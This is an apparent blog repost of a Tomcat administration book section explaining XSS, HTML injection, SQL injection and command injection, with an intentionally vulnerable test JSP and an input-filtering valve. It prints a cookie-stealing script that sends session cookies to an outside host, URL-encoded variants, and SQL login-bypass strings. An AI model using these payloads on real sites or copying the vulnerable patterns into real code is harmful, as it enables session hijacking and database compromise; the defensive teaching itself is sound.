Thursday, October 22, 2009

6.6 Filtering Bad User Input








 

 












6.6 Filtering Bad User Input





Regardless of what you use Tomcat for, if

untrusted users can submit requests to your Tomcat server, it is at

risk of being attacked by malicious users. Tomcat's

developers have endeavored to make Tomcat as secure as they can, but

ultimately it's Tomcat's

administrators who install and configure Tomcat, and

it's the web application developers who must develop

the web applications that operate within Tomcat. As secure as Tomcat

is, it's still easy to write an insecure web

application. However, just writing an application that does what it

needs to do is difficult. Knowing all of the ways that malicious

users could exploit the web application code (and how to prevent that

exploitation from happening) probably isn't the web

developers' main focus.





Unfortunately, if the web application itself is not specifically

written to be secure, Tomcat may not be secure either. There are a

small number of known web application security exploits that can

compromise a web site's security. For that reason,

anyone administering a Tomcat installation should not assume that

Tomcat has already taken care of all of the security concerns!

Configuring Tomcat to use a security manager helps to secure these

web applications and installing Tomcat in a chroot

jail sets OS kernel-level restrictions that are hard to break out of,

but doing those things doesn't magically fix all

vulnerabilities. Some exploits will still work, depending on the

features of the applications you run.





If you administer one or more Tomcat installations that run untrusted

web applications from customers or other groups of people, or if you

run web applications that you did not write and do not have the

source code for, you probably can't change the

applications, regardless of whether they're secure.

You may be able to choose not to host them on your servers, but

fixing the application code to be secure is rarely an option. Even

worse, if you host multiple web applications in a single running

instance of Tomcat and one of the applications has security

vulnerabilities, the vulnerable application could make

all of your web applications insecure. As the

administrator, you should do what you can to filter bad user input

before it reaches the potentially vulnerable web applications, and

you should be proactive about researching known security

vulnerabilities that may affect your servers.





In this section, we show you the details of some well-known web

application security vulnerabilities and some suggested workarounds,

and then show you some filter code that you can install and use to

protect your Tomcat instances.







6.6.1 Vulnerabilities





Let's look at the details of some of the web

application security exploits. These exploits are all remote-user

exploits, which means a malicious remote user sends carefully crafted

request data to Tomcat in an attempt to circumvent the web

application's security. But, if you can filter out

the bad data, you can prevent the attacks from succeeding.







6.6.1.1 Cross-site scripting




This is one of the most commonly

known web application security exploits. Simply put, cross-site

scripting (XSS)[1] is the act of writing malicious web browser scripting

code and tricking another user's web browser into

running it, all by way of a third party's web server

(such as your Tomcat). XSS attacks are possible when a web

application echoes back user-supplied request data without first

filtering it. XSS is most common when the web application is being

accessed by users with web browsers that support scripting languages

(e.g., JavaScript or VBScript). Usually, XSS attacks attempt to steal

a user's session cookie value, which the attacker

then uses to log into the web site as the user who owned the cookie,

obtaining full access to the victim's capabilities

and identity on that web site. This is commonly referred to as HTTP

session hijacking.



[1] Some people abbreviate it CSS because

"cross" starts with a letter C.

However, like most Three Letter Acronyms (TLAs), that combination

already had an even more commonly known meaning: Cascading Style

Sheets. So, to avoid any confusion between these two different web

concepts, we now abbreviate cross-site scripting as XSS.





Here's one example of how XSS could be used to

hijack a user's session. A web site (called

www.example.com for the purpose of this example)

running on Tomcat is set up to allow users to browse the web site and

read discussion forums. In order to post a message to the discussion

forum, the site requires that users log in, but it offers free

account registration. Once logged in, a user can post messages in

discussion forums and do other things on the site, such as online

shopping. A malicious attacker notices that the web site supports a

search function that echoes back user search query strings, and it

does not filter or escape any special characters that users supply in

the search query strings. That is, if users search for

"foo", they get a list of all pages

that refer to "foo". However, if

there are no search results for

"foo", the server says something

like "Could not find any documents including

`foo'."





The attacker then tries a search query like this:





<b>foo</b>




The site replies back:





Could not find any documents including 'foo'.




Notice that the search result message interpreted the bold tags that

were typed into the search query string as HTML, rather than text!

Then, the user tries this query string:





 <script language='javascript'>alert(document.cookie)</script>




If the server echoes this back to the web browser verbatim, the web

browser will see the query string content as regular HTML containing

an embedded script that opens an alert dialog window. This window

shows any and all HTTP cookies (including their values) that apply to

this web page. If the web site does this, and the user has a session

cookie, the attacker knows the following things:







  • The web application is usable for XSS attacks because it

    doesn't adequately filter user input, at least on

    this page.



  • It is possible to use this web site to relay a small JavaScript

    program that will run on another user's web browser.



  • It is possible to use this web site to obtain another

    user's login session cookie and do something with

    that cookie's value.





The attacker then writes a very short JavaScript program that takes

the session cookie and sends it to the attacker's

machine for inspection. For example, if the attacker hacked into an

account on the www.groovywigs.com server and

wanted to inspect a victim's cookie on that machine,

he could write a JavaScript program that sends the

victim's session cookie value to that account like

this:





<script language="javascript">document.location="http://www.groovywigs.com/foo" + 

document.cookie</script>




Once run, this script makes a JavaScript-enabled web browser send the

session cookie value to www.groovywigs.com.





To execute this script, the attacker finds out how search parameters

are sent to the vulnerable site's search engine.

This is most likely done through simple request parameters, and the

relevant URL looks something like this:





http://www.example.com/search?query=foo




By using that example, the malicious user then creates a URL that

includes his script and sends a victim's browser to

a place where the attacker can inspect the victim's

session cookie:





http://www.example.com/search?query=<script language="javascript">document.

location="http://www.groovywigs.com/foo" + document.cookie</script>




Then, using URL encoding, the malicious user disguises the same URL

content:





http://www.example.com/search?query=%3Cscript+language%3D%22javascript%22%3Edocument.

location%3D%22http%3A%2F%2Fwww.groovywigs.com%2Ffoo%22+%2B+document.

cookie%3C%2Fscript%3E




This URL does the same thing as the previous URL, but it is less

human-readable. By further encoding some of the other items in the

URL, such as "javascript" and the

"document.cookie" strings, the attacker can make

it even harder to recognize the URL as an XSS-attack URL.





The attacker then finds a way to get this XSS exploit link into one

or more of the web site users' web browsers.

Usually, the more users that the attacker can give the link to, the

more victims there are to exploit. So, sending it in a mailing list

email or posting it to a discussion forum on the web site will get

lots of potential victims looking at it�and some will click on

it. The attacker creates a fake user account on the

www.example.com web site using fake personal

data (verified with a fake email account from which he can send a

verification reply email). Once logged into the web site with this

new fake user account, the attacker posts a message to the discussion

forum that includes the link. Then, the attacker logs out and waits,

watching the access logs of the

www.groovywigs.com web server he is hacked into.

If a logged-in user of www.example.com clicks on

the link, her session cookie value will show up in the access log of

www.groovywigs.com. Once the attacker has this

cookie value, he can use this value to access the account of the

victim without being prompted to log into the site.

















How the user makes her web browser use this cookie value is different

for every brand of web browser, and can even vary across versions of

the same brand of browser, but there's always a way

to use it.







The worst case scenario here is for the web site to store sensitive

information such as credit card numbers (for the online shopping

portions of the web site) and have them compromised because of an XSS

attack. It's possible that the attacker could

silently record the credit card information without the users on this

site knowing that it happened, and the administrators of

www.example.com would never know that they are

the source of the information leak.





A large number of popular web sites are vulnerable to XSS exploits.

They may not make it as easy as the previous example, but if

there's a spot in a web application where unfiltered

input is echoed back to a user, then XSS exploits can be devised. On

some sites, it's not even necessary for the attacker

to have a valid user account in order to use an XSS exploit. Web

servers with web applications that are vulnerable to XSS attacks are

written in all programming languages (including Java) and run on any

operating system. It's a generic and widespread web

browser scripting problem, and it's a problem on the

server side that comes mainly from not validating and filtering bad

user input.





What can you do as a Tomcat administrator to help fix the problem?







  • Configure Tomcat to use the BadInputFilterValve

    shown in Section 6.6.2, later in

    this chapter. This Valve is written to escape

    certain string patterns from the GET and

    POST parameter names and values so that most XSS

    exploits fail to work, without modifying or disabling your web

    applications.



  • In cases where Tomcat Valves

    aren't available, rework your applications so that

    they validate user input by escaping special characters and filtering

    out vulnerable string patterns, much like the

    BadInputFilterValve does.



  • Read the XSS-related web pages referenced in the Section 6.6.3 of this chapter, and

    learn about how these exploits work. Filter all user request data for

    anything that could cause a user's web browser to

    run a user-supplied script. This includes GET and

    POST parameters (both the names and the values),

    HTTP request header names and their values (including cookies), and

    any other URL fragments, such as URI path info.



  • Read about other suggested solutions to XSS attacks around the Web,

    and look into whether they would help you. This will probably help

    you stay up-to-date on potential solutions.



  • Use only HTTPS and CLIENT-CERT authentication, or implement some

    other method of session tracking that doesn't use

    HTTP cookies. Doing this should thwart any XSS attack that attempts

    to hijack a user's session by stealing the session

    cookie value.





As usual, there's no way to filter and catch 100% of

the XSS exploit content, but you can certainly protect against most

of it.











6.6.1.2 HTML injection




This

vulnerability is also caused by improper user input validation and

filtering. HTML injection is the act of writing and inserting HTML

content into a site's web pages so that other users

of the web site see things that the administrators and initial

authors of the web site didn't intend to publish.

This content does not include any scripting code, such as JavaScript

or VBScript�that is what a cross-site scripting exploit does.

This vulnerability is about plain HTML.

















Some advisory pages call this "HTML

insertion."







Here are some examples of what a malicious user could use HTML

injection to do, depending on what features the vulnerable web site

offers:







  • Trick the web site's users into submitting their

    username and password to an attacker's server by

    inserting a malicious HTML form (a "Trojan

    horse" HTML injection attack).



  • Include a remotely-hosted malicious web page in its entirety within

    the vulnerable site's web page (for example, using

    an inner frame). This can cause a site's users to

    think that the attacker's web page is part of the

    site and unknowingly disclose sensitive data.



  • Publish illegal or unwanted data on a web site without the owners of

    the web site knowing. This includes defacing a web site, placing a

    collection of pirate or illegal data links (or even illegal data

    itself) on a site, etc.





Most web sites that are vulnerable to HTML injection allow (at a

minimum) an attacker to use an HTTP GET request to

place as much data on the vulnerable site as the HTTP client will

allow in a single URL, without the attacker being logged into the

vulnerable site. Like with XSS attacks, the attacker can send these

long URLs in email or place them on other web pages for users to find

and use. Of course, the longer the URL, the less likely it is that

people will click on them, unless the link's URL is

obscured from their view (for instance, by placing the long URL in an

HTML href link).





Needless to say, this vulnerability is a serious one. Surprisingly,

we weren't able to find much information on the Web

that was solely about HTML injection and not about XSS as well. This

is largely because most HTML injection vulnerabilities in web

applications can also be used for XSS. However, many sites that

protect against XSS by filtering on tags such as

<script> are still completely vulnerable to

HTML injection.





What can you do as a Tomcat administrator to help fix the problem?







  • Configure Tomcat to use the BadInputFilterValve

    shown in Section 6.6.2, later in

    this chapter.



  • If you can't install any Tomcat

    Valves, rework your applications so that they

    validate user input by escaping special characters and filtering out

    vulnerable string patterns, much like the

    BadInputFilterValve does.



  • Filter all user request data for the < and

    > characters, and if they're

    found, translate them to &lt; and

    &gt;, respectively. This includes

    GET and POST parameters (both

    the names and the values), HTTP request header names and their values

    (including cookies), and other URL fragments, such as URI path

    information.



  • Run only web applications that do not allow users to input HTML for

    display on the site's web pages.



  • Once you think your site is no longer vulnerable, move on to

    researching as many different kinds of XSS attacks as you can find

    information about, and try to filter those as well, since many

    obscure XSS vulnerabilities can cause more HTML injection

    vulnerabilities.











6.6.1.3 SQL injection




In

comparison to XSS and HTML injection, SQL injection vulnerabilities

are quite a bit rarer and more obscure. SQL injection is the act of

submitting malicious SQL query string fragments in a request to a

server (usually an HTTP request to a web server) in order to

circumvent database-based security on the site. SQL injection can

also be used to manipulate a site's SQL database in

a way that the site's owners and authors

didn't anticipate (and probably

wouldn't like). This type of attack is possible when

a site allows user input in SQL queries and has improper or

nonexistent validation and filtering of that user input.

















This vulnerability is also known as "SQL

insertion."







The only way that server-side Java code can be vulnerable to this

kind of an attack is when the Java code doesn't use

JDBC PreparedStatements. If

you're sure that your web application uses

only JDBC PreparedStatements,

it's unlikely your application is vulnerable to SQL

injection exploits. This is because

PreparedStatements do not allow the logic

structure of a query to be changed at variable insertion time, which

is essential for SQL insertion exploits to work. If your web

application drives non-Java JDBC code that runs SQL queries, then

your application may also be vulnerable. Aside from

Java's PreparedStatements (and

any corresponding functionality in other programming languages), SQL

injection exploits can work on web applications written in any

language for any SQL database.





Here's an example of a SQL injection vulnerability.

Let's say your web application is written in Java

using JDBC Statements and not

PreparedStatements. When a user attempts to log

in, your application creates a SQL query string using the username

and password to see if the user exists in the database with that

password. If the username and password strings are stored in

variables named username and

password, for example, you might have code in your

web application that looks something like this:





// We already have a connection to the database. Create a Statement to use.

Statement statement = connection.createStatement( );



// Create a regular String containing our SQL query for the user's login,

// inserting the username and password into the String.

String queryString = "select * from USER_TABLE where USERNAME='" +

username + "' and PASSWORD='" + password + "';";



// Execute the SQL query as a plain String.

ResultSet resultSet = statement.executeQuery(queryString);



// A resulting row from the db means that the user successfully logged in.




So, if a user logged in with the username of

"jasonb" and a password of

"guessme", the following code would

assign this string value to queryString:





select * from USER_TABLE where USERNAME='jasonb' and PASSWORD='guessme';




The string values of the username and

password variables are concatenated into the

queryString, regardless of what they contain. For

the purposes of this example, let's also assume that

the application doesn't yet do any filtering of the

input that comes from the username and password web page form fields

before including that input in the queryString.





Now that you understand the vulnerable setup, let's

examine the attack. Consider what the queryString

would look like if a malicious user typed in a username and password

like this:





Username: jasonb

Password: ' or '1'='1




The resulting queryString would be:





select * from USER_TABLE where USERNAME='jasonb' and PASSWORD='' or '1'='1';




Examine this query closely: while there might not be a user in the

database named jasonb with an empty password,

'1' always equals '1', so the

database happily returns all rows in the

USER_TABLE. The web application code will probably

interpret this as a valid login since one or more rows were returned.

An attacker won't know the exact query being used to

check for a valid login, so it may take some guessing to get the

right combination of quotes and Boolean logic, but eventually a

clever attacker will break through.





Of course, if the quotation marks are escaped before they are

concatenated into the queryString, it becomes much

harder to insert additional SQL logic into the

queryString. Further, if whitespace

isn't allowed in these fields, it

can't be used to separate logical operators in the

queryString. Even if the application

doesn't use PreparedStatements,

there are still ways of protecting the site against SQL injection

exploits�simply filtering out whitespace and quotes makes SQL

injection much more difficult to accomplish.





Another thing to note about SQL injection vulnerabilities is that

each brand of SQL database has different features, each of which

might be exploitable. For instance, if the web application runs

queries against a MySQL database, and MySQL allows the

# character to be used as a comment marker, an

attacker might enter a username and password combination like this:





Username: jasonb';#

Password: anything




The resulting queryString would look like this:





select * from USER_TABLE where USERNAME='jasonb';# and PASSWORD='anything';




Everything after the # becomes a comment, and the

password is never checked. The database returns the row

where USERNAME='jasonb', and the application

interprets that result as a valid login. On other databases, two

dashes (--) mark the beginning of a comment and

could be used instead of #. Additionally, single

or double quotes are common exploitable characters.





There are even rare cases where SQL injection exploits call stored

procedures within a database, which then can perform all sorts of

mischief. This means that even if Tomcat is installed in a secure

manner, the database may still be vulnerable to attack through

Tomcat, and one might render the other insecure if

they're both running on the same server computer.





What can you do as a Tomcat administrator to help fix the problem?







  • Configure Tomcat to use the BadInputFilterValve

    shown in Section 6.6.2, later in

    this chapter.



  • If you can't install any Tomcat

    Valves, rework your web application to use only

    PreparedStatements and to validate user input by

    escaping special characters and filtering out vulnerable string

    patterns, much like the BadInputFilterValve does.



  • Filter all user request data for the single and double quote

    characters, and if they're found, translate them to

    &#39; and &quot;,

    respectively. This includes GET and

    POST parameters (both the names and the values),

    HTTP request header names and their values (including cookies), and

    any other URL fragments, such as URI path info.











6.6.1.4 Command injection




Command injection is the act of

sending a request to a web server that will run on the

server's command line in a way that the authors of

the web application didn't anticipate in order to

circumvent security on the server. This vulnerability is found on all

operating systems and server software that run other command-line

commands to perform some work as part of a web application. It is

caused by improper or nonexistent validation and filtering of the

user input before passing the user input to a command-line command as

an argument.





There is no simple way to determine whether your application is

vulnerable to command injection exploits. For this reason,

it's a good idea to always validate user input.

Unless your web application uses the CGIServlet or

invokes command-line commands on its own, your web application

probably isn't vulnerable to command injection

exploits.





In order to guard against this vulnerability, most special characters

must be filtered from user input, since command shells accept and use

so many special characters. Filtering these characters out of all

user input is usually not an option because some parts of web

applications commonly need some of the characters that must be

filtered. Escaping the backtick, single quote, and double quote

characters is probably good across the board, but for other

characters it may not be so simple. To account for a specific

application's needs, you might need custom input

validation code.





What can you do as a Tomcat administrator to help fix the problem?







  • Configure Tomcat to use the BadInputFilterValve

    shown in Section 6.6.2.



  • If you can't install any Tomcat

    Valves, rework your web applications so that they

    validate user input by escaping special characters and filtering out

    vulnerable string patterns, much like the

    BadInputFilterValve does.



  • Filter all user request data, and allow only the following list of

    characters to pass through unchanged:

    "0-9A-Za-z@-_:".

    All other characters should not be allowed. This

    includes GET and POST

    parameters (both the names and the values), HTTP request header names

    and their values (including cookies), and any other URL fragments,

    such as URI path info.











6.6.2 HTTP Request Filtering





Now that

you've seen the details of some different exploit

types and our suggested solutions, we show you how to install and

configure code that will fix most of these problems.





In order to easily demonstrate the problem, and to test a solution,

we've coded up a single JSP page that acts like a

common web application, taking user input and showing a little

debugging information. Example 6-4 shows the JSP

source of the input_test.jsp page.







Example 6-4. JSP source of input_test.jsp


<html>

<head>

<title>Testing for Bad User Input</title>

</head>

<body>



Use the below forms to expose a Cross-Site Scripting (XSS) or

HTML injection vulnerability, or to demonstrate SQL injection or

command injection vulnerabilities.



<br><br>



<!-- Begin GET Method Search Form -->

<table border="1">

<tr>

<td>

Enter your search query (method="get"):



<form method="get">

<input type="text" name="queryString1" width="20"

value="<%= request.getParameter("queryString1")%>"

>

<input type="hidden" name="hidden1" value="hiddenValue1">

<input type="submit" name="submit1" value="Search">

</form>

</td>

<td>

queryString1 = <%= request.getParameter("queryString1") %><br>

hidden1 = <%= request.getParameter("hidden1") %><br>

submit1 = <%= request.getParameter("submit1") %><br>

</td>

</tr>

</table>

<!-- End GET Method Search Form -->



<br>



<!-- Begin POST Method Search Form -->

<table border="1">

<tr>

<td>

Enter your search query (method="post"):



<form method="post">

<input type="text" name="queryString2" width="20"

value="<%= request.getParameter("queryString2")%>"

>

<input type="hidden" name="hidden2" value="hiddenValue2">

<input type="submit" name="submit2" value="Search">

</form>

</td>

<td>

queryString2 = <%= request.getParameter("queryString2") %><br>

hidden2 = <%= request.getParameter("hidden2") %><br>

submit2 = <%= request.getParameter("submit2") %><br>

</td>

</tr>

</table>

<!-- End POST Method Search Form -->



<br>



<!-- Begin POST Method Username Form -->

<table border="1">

<tr>

<td width="50%">

<% // If we got a username, check it for validity.

String username = request.getParameter("username");

if (username != null) {

// Verify that the username contains only valid characters.

boolean validChars = true;

char[] usernameChars = username.toCharArray( );

for (int i = 0; i < username.length( ); i++) {

if (!Character.isLetterOrDigit(usernameChars[i])) {

validChars = false;

break;

}

}

if (!validChars) {

out.write("<font color=\"red\"><b><i>");

out.write("Username contained invalid characters. ");

out.write("Please use only A-Z, a-z, and 0-9.");

out.write("</i></b></font><br>");

}

// Verify that the username length is valid.

else if (username.length( ) < 3 || username.length( ) > 9) {

out.write("<font color=\"red\"><b><i>");

out.write("Bad username length. Must be 3-9 chars.");

out.write("</i></b></font><br>");

}

// Otherwise, it's valid.

else {

out.write("<center><i>\n");

out.write("Currently logged in as <b>" + username + "\n");

out.write("</b>.\n");

out.write("</i></center>\n");

}

}

%>



Enter your username [3-9 alphanumeric characters]. (method="post"):



<form method="post">

<input type="text" name="username" width="20"

value="<%= request.getParameter("username")%>"

>

<input type="hidden" name="hidden3" value="hiddenValue3">

<input type="submit" name="submit3" value="Submit">

</form>



</td>

<td>

username = <%= request.getParameter("username") %><br>

hidden3 = <%= request.getParameter("hidden3") %><br>

submit3 = <%= request.getParameter("submit3") %><br>

</td>

</tr>

</table>

<!-- End POST Method Username Form -->



</body>

</html>






Copy the input_test.jsp file into your

ROOT web application:





# cp input_test.jsp $CATALINA_HOME/webapps/ROOT/




Access the page at http://localhost:8080/input_test.jsp. When it

loads, it should look like Figure 6-3.







Figure 6-3. input_test.jsp running






The forms on the page contain two mock search query forms and one

mock username entry form. The two search query forms are basically

the same, but one uses HTTP GET and the other uses

HTTP POST. Additionally, their parameters are

numbered differently so that we can play with both forms at once and

keep their parameter values from interfering with each other. The

page does absolutely no input validation for the search query forms,

but it does perform input validation for the username form. All of

the forms on the page automatically repopulate themselves with the

last submitted value (or null if there

isn't any last value).





Try entering data into the forms to expose the

page's vulnerabilities. Here are some examples:







  • Enter <script

    language="javascript">alert(document.cookie)</script>


    into one of the search fields to display your own session cookie by

    way of XSS.



  • Enter <iframe

    src=http://jakarta.apache.org></iframe>
    into one

    of the search fields to demonstrate that an HTML injection exploit

    would work.



  • Try entering "><input type="hidden" name="hidden3"

    value="SomethingElse">
    into the username field, and then

    enter foo and submit again. Notice that on the

    second submittal, the value of hidden3 changed to

    SomethingElse. That's a

    demonstration of incomplete input validation, plus parameter

    manipulation.



  • Enter a username of jasonb' OR ''=' and note that

    it does indeed set the username parameter to that

    string, which could take advantage of an SQL injection vulnerability

    (depending on how the application's database code is

    written).





For each input field in your web application, make an exact list of

all of the characters that your application needs to accept as user

input. Accept only those characters, and filter

everything else out. That approach seems safest. Although, if the

application accepts a lot of special characters, you may end up

allowing enough for various exploits. To work around these cases, you

can use exploit pattern search and replace filtering (for instance,

regular expression search and replace), but usually only for exploits

that you know about in advance. Fortunately, we have information

about several common web application security exploits for which we

can globally filter.





If you globally filter all request information for regular expression

patterns that you know are used mostly for exploits, you can modify

the request before it reaches your code and stop the known exploits.

Upon finding bad request data, you should either forbid the request

or escape the bad request data. That way, applications

don't need to repeat the filter code, and the

filtering can be done globally with a small number of administration

and maintenance points. You can achieve this kind of global filtering

by installing a custom Tomcat Valve.





Tomcat Valves offer

a way to plug code into Tomcat and have that code run at various

stages of request and response processing, with the web application

content running in the middle (i.e., after the request processing and

before the response processing). Valves are not

part of a web application, but are code modules that run as if they

were part of Tomcat's servlet container itself.

Another great thing about Valves is that a Tomcat

administrator can configure a Valve to run for all

deployed web applications or for a particular web

application�whatever scope is needed for the desired effect.

Appendix D contains the complete source code for

BadInputFilterValve.java.















BadFilterValve filters only parameter names and

values. It does not filter header names or

values, or other items (such as path info) that could contain

exploitation data. Filtering the parameters will do for most attacks,

but not for all, so beware.







BadInputFilterValve filters various bad input

patterns and characters in order to stop XSS, HTML injection, SQL

injection, and command injection exploits. Table 6-2 shows the allowed attributes of the

BadInputFilterValve, for use in your

server.xml configuration file.















































































Table 6-2. BadInputFilterValve attributes


Attribute





Meaning





className





The Java class name of this Valve implementation;

must be set to

com.oreilly.tomcat.valves.BadInputFilterValve.





debug





Debugging level, where 0 is none, and positive

numbers result in increasing detail. The default is

0.





escapeQuotes





Determines whether this Valve will escape any

quotes (both double and single quotes) that are part of the request,

before the request is performed. Defaults to true.





escapeAngleBrackets





Determines whether this Valve will escape any

angle brackets that are part of the request, before the request is

performed. Defaults to true.





escapeJavaScript





Determines whether this Valve will escape any

potentially dangerous references to JavaScript functions and objects

that are part of the request. Defaults to true.





allow





A comma-delimited list of the allowed regular expressions configured

for this Valve, if any.





deny





A comma-delimited list of the disallowed regular expressions

configured for this Valve, if any.







To compile the Valve, first set the

CATALINA HOME environment variable, and then

create a directory for the class in

$CATALINA_HOME/server/classes, like this:





# export CATALINA_HOME=/usr/local/jakarta-tomcat-4.1.24

# mkdir -p $CATALINA_HOME/server/classes/com/oreilly/tomcat/valves




Then, copy the file into this directory and compile it:





# cd $CATALINA_HOME/server/classes

# javac -classpath $CATALINA_HOME/server/lib/catalina.jar:$CATALINA_HOME/common/lib/

servlet.jar:$CATALINA_HOME/server/lib/jakarta-regexp-1.2.jar -d $CATALINA_HOME/

server/classes com/oreilly/tomcat/valves/BadInputFilterValve.java




Once the class is compiled, remove the source from the Tomcat

directory tree:





# rm com/oreilly/tomcat/valves/BadInputFilterValve.java




Then, configure the Valve in your

server.xml. Edit your

$CATALINA_HOME/conf/server.xml file and add a

declaration to your default Context, like this:





<Context path="" docBase="ROOT" debug="0">

<Valve className="com.oreilly.tomcat.valves.BadInputFilterValve"

deny="\x00,\x04,\x08,\x0a,\x0d"/>

</Context>




Then, stop and restart Tomcat:





# /etc/rc.d/init.d/tomcat4 stop

# /etc/rc.d/init.d/tomcat4 start




It's okay if you get the following errors in your

catalina.out log on startup and shutdown:





ServerLifecycleListener: createMBeans: MBeanException

java.lang.Exception: ManagedBean is not found with BadInputFilterValve




You may also get errors like this:





ServerLifecycleListener: destroyMBeans: Throwable

javax.management.InstanceNotFoundException: MBeanServer cannot find MBean with

ObjectName Catalina:type=Valve,sequence=5461717,path=/,host=localhost,service=Tomcat-

Standalone




That's just the JMX management code saying that it

doesn't know how to manage this new

Valve, which is okay.





Now that you've installed the

BadInputFilterValve, your

input_test.jsp page should be immune to all XSS,

HTML injection, SQL injection, and command injection exploits. Try

submitting the same exploit parameter contents as before. This time,

it will escape the exploit characters and strings instead of

interpreting them.









6.6.3 See Also







General information about filtering bad user input








http://www.owasp.org/asac/input_validation





http://www.cgisecurity.com





Cross-site scripting (XSS)




http://www.cert.org/advisories/CA-2000-02.html





http://www.idefense.com/idpapers/XSS.pdf





http://www.cgisecurity.com/articles/xss-faq.shtml





http://www.ibm.com/developerworks/security/library/s-csscript/?dwzone=security





http://archives.neohapsis.com/archives/vulnwatch/2002-q4/0003.html





http://www.owasp.org/asac/input_validation/css.shtml





http://httpd.apache.org/info/css-security/





http://apache.slashdot.org/article.pl?sid=02/10/02/1454209&mode=thread&tid=128





HTML injection




http://www.securityps.com/resources/webappsec_overview/img18.html





SQL injection




http://www.securiteam.com/securityreviews/5DP0N1P76E.html





http://www.owasp.org/asac/input_validation/sql.shtml





Command injection




http://www.owasp.org/asac/input_validation/os.shtml





Path traversal




http://www.owasp.org/asac/input_validation/pt.shtml





Metacharacters




http://www.owasp.org/asac/input_validation/nulls.shtml





http://www.owasp.org/asac/input_validation/meta.shtml





Open source web application security tools




http://www.owasp.org






















     

     


    No comments:

    Post a Comment